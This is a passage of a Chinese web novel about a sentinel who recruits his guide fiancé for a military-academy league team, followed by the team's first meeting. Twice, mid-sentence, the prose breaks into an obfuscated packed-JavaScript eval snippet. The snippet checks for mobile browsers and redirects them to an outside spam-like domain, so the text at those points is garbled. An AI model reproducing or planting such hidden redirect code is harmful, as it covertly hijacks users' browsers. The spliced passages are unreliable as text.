突然想到什么,他眼睛一亮,澄澈如湖水的绿眸像是漾起粼粼碎光了一样,一眨不眨望向尹祁青:“哥!我突然有想邀请的向导人选了!” “嗯?”尹祁青很耐心地听他说。 “对了对了,有件事我还没和你说呢,”黎珞言手臂靠着柜台边上,侧过头冲认真做菜的尹祁青笑,“我订婚了。” 尹祁青脸上的笑容陡然一僵。 短短四个字像一颗炸弹一样一瞬间从他的耳边炸开,以至于他竟然没有第一时间对黎珞言的话做出回应。 黎珞言浑然未觉,弯着眸子笑容明媚,说话也罕见的很有逻辑:“我的订婚对象是白塔的一位向导,既然我需要找到一个队友,我明明就可以找他啊……哥,你说对不对?” 他觉得自己想出了一个好聪明的主意。而且他和未婚夫的匹配度很高,在污染区需要做疏导了完全可以找他。 他半晌没听见回应,奇怪地看向尹祁青的眼睛,歪了歪头:“哥你怎么不说话?” 17.第 17 章 白光透过玻璃墙洒在会堂穹顶上,星云状的能量波纹在其间流转,一仰头便能看见极其漂亮的景色。 六棱晶柱自高空垂落,在深灰瓷砖地面投下幽蓝的冷光。 白塔首席身穿银灰色制服,胸口处有一处暗绿色的刺绣徽章,是白塔的标识——“生命之树”,枝条繁盛延伸,交缠盘踞。 他步速均匀踏上演讲台,站在了话筒前方,抬头的那瞬间露出一张很好看的脸,面上带着始终得体温柔的笑容。 站在演讲台上的向导有着一头灿烂的金发,在幽蓝冷光的照耀下仿佛能够也在发光。开口时嗓音温柔,停顿得当,即便是说着很枯燥很千篇一律的话,也让人忍不住去仔细倾听。 白塔现任首席,温暻,五年级生,精神力s级。 会堂里十分安静,所有人都听着他发言,在发言的结束语中他说道:“——最后,希望大家能够在白塔度过愉快的六年。” “白塔荣光永驻。” 语毕,台下响起掌声。 易谌面色平淡,跟着鼓了几下掌之后,就放下了。 听完首席的讲话之后,周围人窃窃私语起来。 处于其中,低着头安静翻书的易谌反而格格不入起来。他不在意周围人在说什么,完全沉浸在自己的世界当中。坐在他周围的向导也早就习惯了他冷漠孤僻的性子,没有冒昧出声打扰他。 白塔会堂的座位划分是按照年级来的,易谌周围的都是一年级生,他们几乎从来没去过污染区深处,因此对此兴致勃勃地讨论着。 “首席还是太有实力了,才从污染区回来就做演讲,还完全没表现出来一点疲惫。” “啊?怎么看出来首席才从污染区回来的?你是火眼金睛啊?” “嘶,我怎么就看不出来呢?” 下了台之后在角落的首席似乎是在倾听对面的人说话,昏暗的灯光下也能看见他在轻轻点头,唇角弯着一抹极温柔的笑,十分耐心温和的模样。 那人注视远处的温暻片刻后,又收回视线,撇撇嘴:“……入学半年了吧,你是不是从来没关注过官网信息?” “……我现在就去收藏网址,”那位向导说着,就拿出终端找到了白塔官网,一边满是疑惑地说,“但是我之前认识一个学长,他从污染区回来之后浑身精神气都没了,直接跑去医疗舱躺了一整天,据他说精神力一遍遍耗尽、又一遍遍补充,高强度的消耗难受得他都快干呕出来了。” “但是首席他——”他远远看着面上没有任何异常的温暻,不禁发出感慨,“怪不得是首席。” 在污染区出现后,污染区内部的动植物受到磁场影响遭到异变,在联邦政府寻找解决方式时,发现部分人具有对抗异兽的天赋,后来他们将具有这两种不同天赋的人称为哨兵和向导。 只有少部分人能成为哨兵和向导,而其中,拥有向导天赋的人的数量又要少于哨兵。 哨兵较普通人五感增强,具有极强的感知力,但同时间这种敏锐的五感会让他们在处于污染区时受到比其他人更深的精神污染。 与之相对的是向导。向导不会受到具有超出常人的精神力,能够通过精神触须深入哨兵的精神图景中,帮助他们清理精神污染。而如若精神触须极其深入,哨兵和向导可以达成短暂的精神共鸣,在这种状况下,向导能够关闭哨兵的五感,因此只有极少数的哨兵会允许向导完全进入自己的精神图景。 一般来说,一支被派去污染区的小队里,向导数量是远远少于哨兵的,这也就意味着向导在污染区中需要不断给哨兵进行疏导,这期间消耗的精神力无疑是巨大的,一遍遍精神力被抽干又补充的感觉不是每个向导都能忍受的。 白塔内部设立了一个训练室,便是专门针对这个问题的,通过一遍遍耗尽精神力又补充的方式,帮助向导提前适应污染区的情况。 “易……同学。”一名向导有点紧张地开口。 易谌意识到这一声是在喊自己,抬起了头,看向了坐在自己旁边的那名向导。 他们是同级生,但易谌向来不太和同学接触,不认识这人的脸。入学半年,他不仅没看过白塔官网,也从来没关注过任何人。 ——除非是有人主动来挑衅他,为了避免后续更多的麻烦,他会尽快动手解决掉。 易谌的眼睛很黑,并且似乎透不进一点光,盯着人看时实在会让人产生一种仿佛被幽灵盯上了的错觉。 出声那人不太敢盯着他的眼睛看,把自己手里的本子往易谌的面前挪了挪:“可以帮忙看看这个异兽的种类吗?我真的努力查了,但还是没查到。智能识别也识别不出来。” 他递过来的本子上画着的一个很奇怪的生物,大体形象像是一只狼,狼的身上覆盖着一层闪着诡异光芒的鳞片,大大张开了嘴,露出了尖锐的獠牙。其实应该是一只很可怖的异兽,但他画得跟儿童简笔画似的,实在难评。 易谌垂眸看了看,在心里默默想,画功太抽象了,智能识别能识别出来才有鬼。 那人是亲眼看见过易谌和人打架的。生活在白塔的向导大多都是文明人,即便有冲突多半也能通过较为和平的方式解决,少有直接发生肢体冲突的。 直到他见到易谌。 ——白塔里还是上城区的人居多,猛然见到下城区来了个向导,性子孤僻冷漠,简直把不想和凡人进行无意义的交流写在了脸上,成绩还远超同级生。一时间就有不服气的人前去挑衅,于是就□□脆利落揍了一顿。 本来那些人被揍了之后更加不爽了,时刻想着找个机会报复回来,但后来发现易谌连哨兵都按着揍,那点不爽就奇异地消失了。 好嘛,至少也算是一视同仁了…… 他见易谌没有立即回答他,一时心里也犯怵了,想着自己不该走投无路就来问这位煞神。……到底是谁在说易谌只是看着冷漠,其实人很好的啊??救救他救救他。 “影狼,主要杂糅了狼和蛇的特征。”易谌突然开 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天有点黑,可以称得上是晚上了。温暻额角轻跳着,想快速回宿舍睡个觉。 他们这次去的那块污染区磁场有点问题,接收不到讯息,他忙完会堂的事,现在才有时间回一下这段时间终端上收到的消息。 然后就发现尹祁青莫名其妙给自己发了个微笑的表情。 温暻皱了下眉,手指点了点,回道:【?】 他看了一会儿,那边一直没回他。……尹祁青犯什么病? 温暻猜都能猜到,现在尹祁青肯定和黎珞言在一起。 想到黎珞言,他轻轻弯了弯眼,翻到了和黎珞言的聊天界面。 上一条消息还是在他出任务之前发的。 黎珞言:【温暻哥,我好像又需要做精神疏导了,拜托拜托。】 温暻:【很难受是吗?你先休息一下,我来找你。】 黎珞言:【谢谢哥。[小狮子昏昏欲睡.jpg]】 但现在这个点黎珞言有可能已经睡觉了,他睡觉向来很早。 温暻想着给他发条消息,他走着路,眼睛一直看着终端屏幕,没注意到旁边有人经过,与对面走过来的人擦肩的一瞬间,手指不小心划过了通话键。 他没注意自己手上点到了什么,抬起头,脸上挂上歉疚的神情,嗓音天然浸着柔和:“抱歉。” 对方是个黑发黑眸的向导,神情冷得像一块冰,似乎是在和人打视频。闻声侧过头来,朝他摇了摇头,示意没事。 温暻收回视线时不经意间瞥到了对方的屏幕,视线骤然一顿。 怎么、有点眼熟? 但屏幕光线太暗了,晃眼一瞥看的也不是很清楚。 黑发黑眸的向导很快离开了。温暻却没动,他迟疑地收回视线,重新看向终端屏幕,发现自己居然不小心打了视频过去。 上面显示,对方正在通话中。 18.第 18 章 易谌不知道为什么会收到对方打来的视频通话,也不知道为什么对方衣服都没穿好就给他打来了视频。 未婚夫……就可以这样打视频吗? 屏幕那头的人似乎是睡着之后突然想起来要打这个视频给他,房间里光线很暗,他半边脸还枕着枕头,懒懒抱着被子,眼睛睁几秒钟就要闭上个几分钟。跟说梦话似的,声音黏黏糊糊:“未婚夫,你能来当我队里的向导吗?” 易谌是刚从训练室加练之后出来,准备回宿舍的。但看着屏幕里似乎是在说正事的人,他没再走动了,找了个位置坐下来,准备挂断之后再回去。 黎珞言见他没回应,努力睁开眼睛,雾气弥漫的一双绿眸睁大了望着他,然后眨眨眼睛,声音被压低之后显得有点可怜的意味:“可以吗?” 易谌停顿一下,盯着他半垮着的睡衣领子看了片刻,旋即移开视线,提醒道:“你衣服歪了……你刚刚说的,什么队?” 黎珞言慢吞吞地低头看了眼自己的睡衣,打了个哈欠,双手平平伸出,像僵尸似的直挺挺坐了起来,终端被他捏在手里。 易谌隔着屏幕,离他远了一点,然后没几分钟就离他又近了些。 ——是个怼脸的角度,还好那张脸长得实在过于权威了,放大之后反而将五官的优点都显现了出来,宝石般的绿眸倒映着屏幕的光,像缀了颗亮闪闪的宝石在眸里似的。 啪嗒一声,黎珞言拍了下夜灯,暖橙色的光一瞬间亮起来,他拿着夜灯调整角度,他动来动去,一张脸也就明明暗暗,亮亮黑黑,光晃得屏幕那头的易谌都有点眼睛酸了。 最后,哨兵终于把夜灯放在了他想放的位置,重新把终端拿起来,看向易谌,眼睛又眨巴一下,懵懵地问道:“你刚刚还说了什么来着?” 他坐起来之后,懒洋洋地倚靠在床头板上,衣服不像躺着时那样歪歪扭扭的了。 易谌终于不会忍不住往他领口那边看了,绷着一张脸,冷淡问道:“我来你的什么队里当向导?” 黎珞言解释道:“近期联邦军校和白塔有一场联赛,我现在是一支队伍的队长,队里还需要一名向导。所以我想问问你,你可不可以来我的队里当向导啊?” 他想了想,为了加强自己请求的被同意可能,又补充似的地喊了声:“未婚夫。” 他说得非常简洁,似乎是提炼重点在说,但是易谌发现他听了这么多,没听见一个重点,完全就像是仅仅把他一开始说的那句话做了一下扩展。 但易谌又觉得问黎珞言也问不出个什么……毕竟他也看出来了,黎珞言有点笨笨的。 他还是等回了宿舍之后查一下这个所谓的联赛吧。 黎珞言还眼巴巴地看着易谌,等着他给自己一个答复。为了增加可能性,他慢吞吞但连续不断地一个劲补充:“我真的很需要你。” “我们的匹配度也很高。” “我其实有点厉害的,不管联赛最后是什么样的形式,我都会保护你。” “我……” 易谌道:“可以。” 黎珞言还在冥思苦想:“我……” 听见答复后眼睛骤然一亮:“未婚夫你人真好!” 易谌第一次发现有人能把亮晶晶的眼睛诠释得这么完全。对面的哨兵得到肯定答复之后精神头就过去了,连续打了好几个哈欠之后,眼皮就不自觉地合拢了。 黎珞言坚持着睁开眼睛,望着易谌,弯了弯眸子:“晚安。” 易谌道:“……晚安。” 刚达到目的就说晚安挂断视频这种事情听起来十分有用完就丢的意思,但黎珞言表现得太真诚了,他看起来是真的困了,而且眼睛水亮水亮的,让人完全不好意思拒绝他睡觉的小心愿。 ——不让人睡觉简直是件很过分的事了。 易谌看着自动回到聊天界面的屏幕,空荡荡的,他盯着唯一一条的属于今天的视频通话,开始自我反思。 所以,他到底是为什么答应的呢?他连这是个什么比赛都不知道,居然就答应了下来。 鬼迷心窍了鬼迷心窍了。 易谌站起来吹了会儿冷风,拍了拍自己。也有可能是最近熬夜太多把脑子熬晕了,今晚还是早点睡好了。 还是说今天去训练室练精神力时间太长了把脑子给练坏了? ……不管了。先睡一觉再说。 * 队友名单在联赛开始前一周确认了下来,一旦报上去就不容更改了。 这是团队赛,易谌到现在为止只见过黎珞言两次。哦……不,如果算上相亲那次的话,也勉强称得上是见过另外两个队友——一个红色短发男生,和一个蓝色挑染的高马尾女生。 于是在比赛开始前见一面成为一件很有必要的事情。 易谌看着黎珞言终端上发给他的时间地点,随便找了套衣服穿上,但盯着镜子停顿了几秒。 镜子里的人眼皮微垂,盖住了一小半纯黑的瞳孔,发色也极黑,短袖长裤也是很暗的纯色,整个人看上去萦绕着几分阴郁冷清的气质。 ——总之就是不太好接近的模样。 易谌盯着镜子里的自己,蓦然想起哨兵那双亮绿色的眸子,不知怎么想的,把短袖脱了下来,重新去衣柜里找了件浅色短袖套上。 上衣衣摆垂落,盖住了腹部明显训练过的肌肉线条。 再回到镜子前之后,看上去终于不像原先那样散发着股阴郁气了。 他出了门,看了眼时间,搭乘空中巴士往约定好的地方去——“琥珀回声”酒吧,301号包间。 他突然又收到了黎珞言的消息:【一则临时更正通知——来302号包间,我等着你!】 * 黎珞言提前到达了301包房,但他感觉等的过程中没有什么能做的事,干脆扒拉了一下沙发,找了个舒服的姿势半倚半躺着。 房间灯开得很亮,有沙发还有棋牌之类的娱乐设施,还有股极轻极淡的香气。比起酒吧,倒像是个供人休息的房间。 尹惟在另一个沙发上躺着,在用电脑玩降智小游戏,手指在触摸板上慢悠悠地滑来滑去。 房间里安安静静的,只有一些持续响起的白噪音,是很适合睡觉的环境。 突然猛地一声响起:“砰!哐当!” 奚元抿了抿唇,垂眸看着砸在地上裂成两半的酒瓶,以及在摔落过程中洒得到处都是的红酒:“不好意思……手滑了。” 尹惟玩游戏的手一顿,坐直身看向他:“你怎么了?最近看你心不在焉的?” 奚元扯了几张纸,擦了擦身上的平静道:“可能没睡好吧,失眠。” 黎珞言睁开了眼睛,整个人都在状况外,脑子转不起来,手慢吞吞摸到沙发上的软枕头,拿起来朝奚元扔过去。 奚元被砸得低了下头,在枕头掉到地上之前眼疾手快接住了,扭过头扬起眉:“怎么打人啊?我要去论坛上发个贴,主贴名字就叫【曝光黎珞言私下是个暴力狂】。” 黎珞言根本不信,哼出一声:“那你去啊。” 一整瓶红酒全部都洒出来了,地毯被红酒浸湿了,还有的黏在衣服上和裤子上。大夏天的穿得薄,洒上红酒后衣服几乎都黏在了身上,可以依稀看见一点肉色。 奚元把自己的衣服往外面提了提,低头看着被浸泡着还在滴酒的衣服,忍不住“啧”了一声,站起身把衣服下摆拧干了。裤子也被酒浸湿了,一股极浓烈的酒味在房间里蔓延开来。 奚元说:“要不换个房间吧,我在这边换套衣服就过去。” 黎珞言看着地面因着酒瓶打碎而一塌糊涂的情况,点了点头:“好吧。” 但他突然又想到:“那现在还有空房间吗?” 一般来说,301包间就是他们经常聚会的地方,所以这间房一直是给他们留着的。但其他房间就不一定还是空着的了,说不定已经被其他人提前预约了。 “去302吧,”奚元想了想,“我记得,尹祁青他们这次一起去污染区的人会小聚一下,预约的就是302包间。” “是吗?”黎珞言眨眨眼,“那我们突然过去会打扰他们聚会吧。” 奚元盯着自己被酒液弄得黏黏糊糊的手,忍不住皱了眉。闻言回道:“他们晚上才聚,肯定影响不到他们……那我给他发条消息说声吧。” 黎珞言这下觉得没问题了,比了个OK的手势。 他走到门口了,发现尹惟还没跟上,于是侧过头看向尹惟的位置,有些疑惑,喊了声:“尹惟?” 尹惟眼睛微眯着,若有所思,听见黎珞言喊自己的名字之后,收回了看向奚元的视线,弯眸笑了下:“来了。” 在经过奚元时,她微一侧身,压低了声音,语气含笑,意有所指地问:“今天怎么这么不小心?” 奚元轻轻垂眸,面色不变,语调平稳:“就是一不小心。” 尹惟似乎是信了,笑眯眯地点了点头,不置可否,跟在黎珞言身后出了门。 奚元找人给自己重新送了套衣服过来,简单收拾了下自己,换上了身干净衣服,身上舒服多了。 懒散地坐在沙发上后,他就开始给尹祁青编辑消息发过去。 * 琥珀回声,在联邦被评为最受欢迎的聚会去处。环境舒适,服务优良,除了价格贵点之外几乎没有任何缺点。 易谌第一次踏入这里,这里并不像他印象中的酒吧那么喧嚣,反而充斥着一种很清雅的风格。 他眼皮轻轻垂下,摩挲了下垂至身侧的手指,面色平静地按着路上的指示牌去找302号包间。 走在三楼的走廊上,他忽然觉得似乎有道视线在注视自己,循着直觉看了过去。 是个穿着短袖长裤的青年,黑发中有几缕雾霾蓝挑染,整个人从内而外透着股特别凌厉冷肃的气质。 他单手插兜,神色慵懒,穿着乍一眼看上去十分随意,但动作之间影影绰绰显露出了些似乎是深入骨髓的力量感和纪律性。 对方也稍一侧头,在即将和易谌对视上的那瞬间,易谌平静地移开了视线,像没看见一样,迈步往前。 然后,易谌就发现对方一直和自己同路。 易谌:“……?” 他皱了下眉,但没有说话,走到302号包间的门前时停了下来,抬手敲响了门。 有着蓝色挑染的青年缓步走上前,同样停在了这扇门前。 在易谌敲完门等里面开门的时候,身旁的青年伸出一只拿着卡的手,在感应器前刷了一下。 “滴!” 门被打开了。 气质冷肃的青年侧头看了易谌一眼,盯着他看了几秒后,转回了头。 易谌眯了眯眼,直觉性地察觉到了一种威胁感。他向来对别人的情绪十分敏感,那种空气中逸散的淡淡的敌意十分明显——甚至有一种宣告主权的意思。 黎珞言正要开门,还没拉开就发现门被自动打开了。他有些困惑地盯着把手处看了会儿,然后迟疑地把门拉开了。 他下意识喊道:“易谌?” 然后看清门外的人后,他声音一顿,茫然地看着本来不该出现在这里的尹祁青,视线又缓慢地往旁边看。 唔……这个才是易谌。 黎珞言弯了弯眸,双眼专注看着易谌,打招呼:“好久不见。” 他抓住了易谌的手腕,感受到那里肌肉瞬间绷紧之后,才后知后觉想起来对方说自己有洁癖、不喜欢和人接触的事,于是立马松开了手。 他反应得比易谌还要快上几分,等易谌看向他时,他就弯起眸,微微耸了下肩,眼眸里流淌着仿佛林间的盎然绿意,唇角漾起一个有点不好意思的笑。 易谌心里顿时像是被羽毛轻轻扫了一下。过于直白澄澈的眼神总是让他产生一种不知所措的感觉。 等到易谌进去之后,被黎珞言忽视了个彻底的尹祁青就这样一言不发地看完他们之间短暂的互动之后,也准备进去。 刚迈出脚,就被黎珞言拉住了。 尹祁青看了眼黎珞言圈住自己手腕的那只手,目露疑惑。 黎珞言把他往外面一拉,顺手把门关上了,抿了抿嘴:“哥,你怎么来了?” 尹祁青挑了下眉:“这不是我预约的包间吗?我还不能来了?” 黎珞言被这句话问得心虚了一下,眨眨眼睛,立马转移话题:“哥——我们小队开会呢。” “开会……我不能进去吗?”尹祁青问完之后,又状似不经意问起,“刚才那个是你未婚夫?” 黑发绿眸的哨兵稍微顿了一下,然后弯了弯眼睛:“嗯。” 尹祁青:“哦。” 黎珞言见他不说话,趁机说道:“哥你有什么事吗?没事的话就先回去?” 他赶人赶得太明显了,尹祁青差点被气笑,双手环着,无奈道:“我来找手表的,我早上把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581697|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那东西放在桌上了。既然你不让进去,就帮我把手表拿出来吧。” 黎珞言歪了歪头,笑眯眯的:“没有说不让哥进去……那我去给你拿出来。哥你先等一下。” 看着他进了门,尹祁青无奈地倚靠在墙上,半低着头看终端,等着他出来。 他确实没说这几个字,但话里话外都是这个意思。 尹祁青打着字:【小梨把我拒之门外了,爱莫能助,我回去了。】 …… 尹惟保证,这是她经历过最尴尬的几分钟。 易谌走路几乎都没有声音,他就像鬼一样飘进来了,然后平静地找了个位置坐下,没有要和他们打招呼的意思。 以至于尹惟想说点什么活跃气氛都很难。 奚元不知道在干什么,看着终端屏幕,脸臭得跟被欠了钱似的,翘个二郎腿大爷一样倚在那个单人沙发上。 包间里安静得不行,只有尹惟电脑里的降智小游戏在欢快地叽里咕噜叫,竟然莫名显出几分诡异来。 她喝了口果汁,努力压制这种极为尴尬的心情,面上维持着淡定的神情,继续玩游戏,鼠标点到金币,收集起来时瞬间响起哗啦啦的声音。 握着鼠标的手一顿,她默默地设置了静音,又喝了一口果汁。 梨子梨子,快快回来。 门突然被打开了,黑发绿眸的哨兵进门后刚一抬头,就看见面前的三个人直勾勾地看着自己。 黎珞言眼睫下意识颤了一下:“……啊?” 吓他一跳。搞得他像做了什么很引人注目的事情一样。 他顶着三个人不可忽视的注视,像一个移动光源似的,走到哪儿就被看到哪儿。 黎珞言一边找尹祁青说的手表,一边在心里慢吞吞地吐槽,这是在做什么啊?怎么都看着他……? 手表的位置不太显眼,他找了快一分钟才找着,迅速把手表拿给尹祁青后,再次回到房间里坐下。 奚元看着尹祁青发给自己的消息,脸色难看得要命,冷着一张脸,把终端随意往桌上一扔,撞击时发出了点声响。 黎珞言看他一眼,不明白他在莫名其妙发什么脾气,于是抬脚踹了下他小腿。 奚元被踹了一下之后总算收敛了些,垂下眸,猛灌了口酒。 灼热感从喉管一直烧到胃里。他有些心神不宁,根本听不进去黎珞言在说什么。 只听见了个结束语—— “奚元你能不能认真一点?” 黎珞言说话说得都累了,喝了几口果汁,见奚元在发呆,瞬间模仿起老师上课点名的语气,实名批评他。 奚元慢吞吞地学他:“哦——” 他抬起眸,在看向黎珞言的时候,不可避免地余光扫到旁边的易谌,他眉毛微微扬起,唇角咧开一个很灿烂的笑。 红发哨兵双眼看着易谌,突然站起来,走到他面前的时候,神色懒怠,一手插在裤兜里,一手朝他伸出,似乎是在示好:“你好,我叫奚元。既然我们联赛会在一个队里,那以后相处的时间应该还会很多。希望我们能,相,处,愉,快。” 稍微俯下身子的哨兵有着一双很锐利的眼睛,一头红发张扬桀骜,当他稍微眯眸时,被直勾勾注视着的人会产生一种被未经驯化的野兽盯上的强烈不安感。 易谌单手滑到身侧的沙发撑住,掀眸冷冷注视着他,没有伸手去握上这个似乎代表‘友善’的手。阴冷的、潮湿的,在愈发尖锐紧张的空间中潜伏渗透。 环在苍白腕骨上的衔尾蛇悄然睁开了眼睛,蛇头抬起,吐出猩红的蛇信子,蛇瞳眯着一条竖缝,和主人一同盯着对面的哨兵。 连黎珞言这样迟钝的人都罕见地察觉出一丝气氛的不对劲,他快速地小幅度晃了晃头,就像松鼠突然抖一下蓬松大尾巴似的。 双手捧住玻璃杯,有点茫然看着他们两个人,谨慎地喝下一口冰冰凉的果汁。 他怎么感觉下一秒要打起来了? 黎珞言转过头去找尹惟,试图找到和自己相同想法的人。 尹惟开了包薯片,也是十分谨慎地看着面前的状况,眼睛一眨不眨地看着那处,似乎是随时做好了拉架的准备,嘴里咬薯片咬得咔擦咔擦。 她看得太专注了,黎珞言挪到她身边,拍了拍她,她才回过神。和黎珞言对视了一下,她下意识伸出手里的薯片。 黎珞言也下意识拿了一片放嘴里,咬碎之后才想起自己来干嘛的,小酌几口果汁,用气声说:“奚元最近气性好大,他是不是遇到烦心事了?” 尹惟不用想就知道答案,她十分肯定地点点头:“确实是惨。” 黎珞言似乎懂了,也跟着点点头,好奇地问她:“有多惨?” “让我想想啊,”尹惟又拿了一片放到嘴里,边嚼边思考,“惨到每天都睡不着吧,你看他那黑眼圈,好吓人了。” 黎珞言和他一间宿舍,也想起来最近一段时间每天被闹钟吵醒都一脸怨气起床的奚元,深有感悟:“是哦。” 这包间就这么大,两个人用气声蛐蛐的话一字不漏地传到了在场每个人的耳朵里。 奚元差点绷不住了:“……” 特别是当他看见易谌听完那边两个人对话之后也像是懂了一样,若有所思地点点头,他就更加绷不住了。 他还维持着伸手的动作,唇角笑容一点一点冷却,眸里的情绪也越发锋锐了,手指微蜷,准备下一秒就攥住对方的领子把人拎起来。 然而,还没等他动,就有一只手握住了他的。 黎珞言歪着头撞进他的视线里,唇角漾起暖洋洋的笑容。 黎珞言握住他的手上下摇晃了下,弯着眸子:“我叫黎珞言,相处愉快啊。” 他握了下之后就松开了手,看着脸色还是不太好的奚元,伸手捏了捏他的肩,让他放松一点。 黎珞言嗓音浸着笑意:“我们小队的人终于集合完整了。” 他伸出手放到了中间,朝着另外三个人眨眨眼睛。 尹惟会意地将手搭在他手上。 奚元还是一副不高兴的神情,别扭地把手搭在了最上面。 然后黎珞言看看没动静的易谌,凑近去看他的眼睛,从喉咙里发出一声期待的“嗯?” 易谌被拉近的距离恍了下神,往后退了一点,犹豫片刻把手挪到了最底下。 “好欸!” 或情愿,或不情愿,四个人的手同时往上抬起。 19.第 19 章 “联赛为阶段性比赛,具体内容会在对应的时间解锁,请注意关注官网信息……嗯?这什么啊?规则搞了个半成品就搬出来了吗?” 尹惟看着屏幕一字一句读出来,停顿几秒之后顿觉荒谬。 黎珞言也凑在屏幕面前看,嘴里咬着根抹茶味的pocky,神情认真,闻言点点头肯定她。 奚元去冰箱拿了三瓶汽水,捧着放在了桌上,轻轻扬了下头:“那有说第一阶段的规则吗?” 尹惟往下翻,把规则继续读下去。 “第一阶段赛的主题为磨合。联赛为团体合作项目,本阶段内容是为了加强队员与队员之间的联系和熟悉度。明早所有人在训练场集合,具体规则会在到时候公布。注意:比赛会全程在星网上同步直播,请注意着装,切勿影响军校生风评,切勿着奇装异服到场,着装一项已纳入评分细则中。” 听着她读规则的时候,黎珞言就咬着pocky,低着头准备拉开易拉罐的环,手指刚勾进去就被奚元抓住了。 黎珞言歪头:? 他有些茫然地看着奚元阻止他喝汽水的动作,摸不着头脑。 奚元提醒道:“刚刚晃过了,过会儿再开。” 晃动之后的汽水在拉开后会瞬间喷出来,黎珞言理解地点了下头。 奚元看了眼放在桌上的原先那一大瓶饮料,快被他们三个人喝完了,但还剩了一小半,他把里面的都倒进了杯子里,推给了黎珞言:“渴的话先喝这个。” 屋里开着空调,冷气飕飕的,黎珞言抱着个软枕,下巴懒懒地靠在抱枕上,把长条pocky咬断之后,接过杯子小口抿了下,接着皱了皱眉:“都不冰了。” 他把杯子重新又放回桌上。 “不冰了吗?”奚元摸着杯壁感觉温度偏凉,他盯着杯子看了两秒,然后故作平静地拿起来喝了一口,唇刚好抿在方才被抿过的地方,低头时红发轻轻扫过耳朵,耳垂不自觉地泛上红色。 咕咚喝了一大口,他喉结滚动,神情紧绷着移开杯子,似乎是凭借实践肯定了这一结论,语气平稳:“确实不冰了。” 尹惟起身去冰箱打开了下方的冷冻室,面无表情地拿出一盒冻好的冰块,又面无表情地回来,往杯子里倒进几块冰。 冰块一个接一个掉进饮料中,激起很漂亮的小型水花。 她语调怪模怪样的,模仿道:“确实不冰了。” 奚元耳朵刷的一下红透了,装作没听见似的,眼睛看着屏幕上官网发布的规则,齿间轻轻咬着指关节,仿佛看规则看得极其沉浸。 手不自觉地就摸到了易拉罐,食指勾进拉环里,一晃一晃地要拉不拉。 黎珞言正看着放进了冰块的饮料,手碰着杯壁,凉意从指尖泛上,很凉爽的温度。 他弯了弯眼,捧着杯子低着头安安静静地喝。 尹惟随手把冰块往冰箱里一扔,耸了耸肩,撇撇嘴说:“不冰了就加冰啊。” 奚元不自然地抿了抿唇,那种隐晦的小心思被骤然挑明了一半,让他莫名有些羞恼,耳朵更红了,手指无意识地一勾。 尹惟一回过头,看见突发情况时脚步一顿,垂眸直直望着,发自内心地:“哇!” 黎珞言先是睁大眼睛,看着从易拉罐瓶口喷涌出来的汽水,然后才慢半拍地轻声“啊”了一下。 奚元方才还在提醒黎珞言不要立马拉开易拉罐,结果还没几分钟,自己却一不小心拉开了,汽水一瞬间争先恐后地往外喷,奚元只来得及迅速往后退,同时把腿岔开,避免被汽水溅上。 然而处在风暴中心的黎珞言就惨了。他坐在沙发上,不像奚元坐在椅子上那么好移动,在发现即便是往旁边躲也不能完全躲开之后,他干脆就不闪不避了,以一己之力承担下了绝大部分汽水的攻击,勇敢保护了沙发。 剩下那一小部分从奚元的左手上往下淌,落在了原本干干净净的地上。 奚元:…… 尹惟挑了下眉:…… 黎珞言低头看着自己完全不能再穿的衣服,又抬起头看向罪魁祸首奚元,有点懵地眨眨眼睛。 他慢悠悠地叹出一口长气,像是很无可奈何了。即便这样,他也不慌不忙地把杯子里的饮料一仰头喝完了,冰块被留在了杯底。搁到桌上的时候,冰块撞击杯壁发出清凌凌的声响。 黎珞言站起身,好奇地攥住衣服下摆拧了一下,没拧出水,这次汽水基本上都被衣服吸收了,所以衣服看起来惨兮兮的。 奚元和他对视,又移开视线,又不自觉地瞟向他,又迅速移开视线,心虚得不行。 这是在尹祁青的那套不算大的别墅里。当初尹祁青进入联邦军校之后购置的,他当时的理由是联邦军校假期不多,周末就不回去了,这里环境很好,很适合放松心情。 尹惟隔着层门听见了尹祁青和父母的对话,当即就跑回房间收拾好了行李,拖着个行李箱跑到了门口蹲着,厚着脸皮装听不懂话跟着尹祁青来了新房子。 第二天,尹惟去了学校,上课时间和黎珞言狗狗祟祟嘀咕交流了大半天,晚上黎珞言就背着个背包出现在了别墅门口,敲响了门。 那天晚上还下着雨,风把雨吹得四散,伞不能完全挡住雨,黎珞言身上被雨淋湿了不少,黑发微湿,被他往后抓了抓,五官清晰地露了出来。 尹祁青打开门的时候,黑发哨兵像被雨淋湿的小动物,绿眸像蒙了一层似有若无的薄雾,专注地望着他,嗓音轻轻地拖长:“哥,可以收留我吗?”。 然后眼睫轻轻颤了一下,他穿得薄薄的,外套被雨浸湿了黏在身上,霜寒露重的夜晚还淋雨受了凉,他控制不住地侧过头打了个喷嚏。再转回头看向尹祁青时,鼻头有点红。 尹祁青没犹豫,把外套脱下来盖到了他的头上。带着温热体温的外套罩着黎珞言,驱散了夜晚的寒意,他晃着脑袋从外套里探出脸来,被尹祁青抓着再次用外套罩了起来,拉进了门内。大门被合上,雨声骤然被隔绝在外。 尹祁青一边帮他擦头发,一边说:“下次有类似的事,直接让我来接你就行。” 尹惟坐在沙发上看电视,侧头看过去,和黎珞言视线相撞。她弯起唇,眨了下右眼。黎珞言歪过头在尹祁青看不见的地方,也朝尹惟眨了下右眼。 奚元是后来住进来的,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594222|170215||http|test|mini|href|location''.split(''|''),0,{})); () { 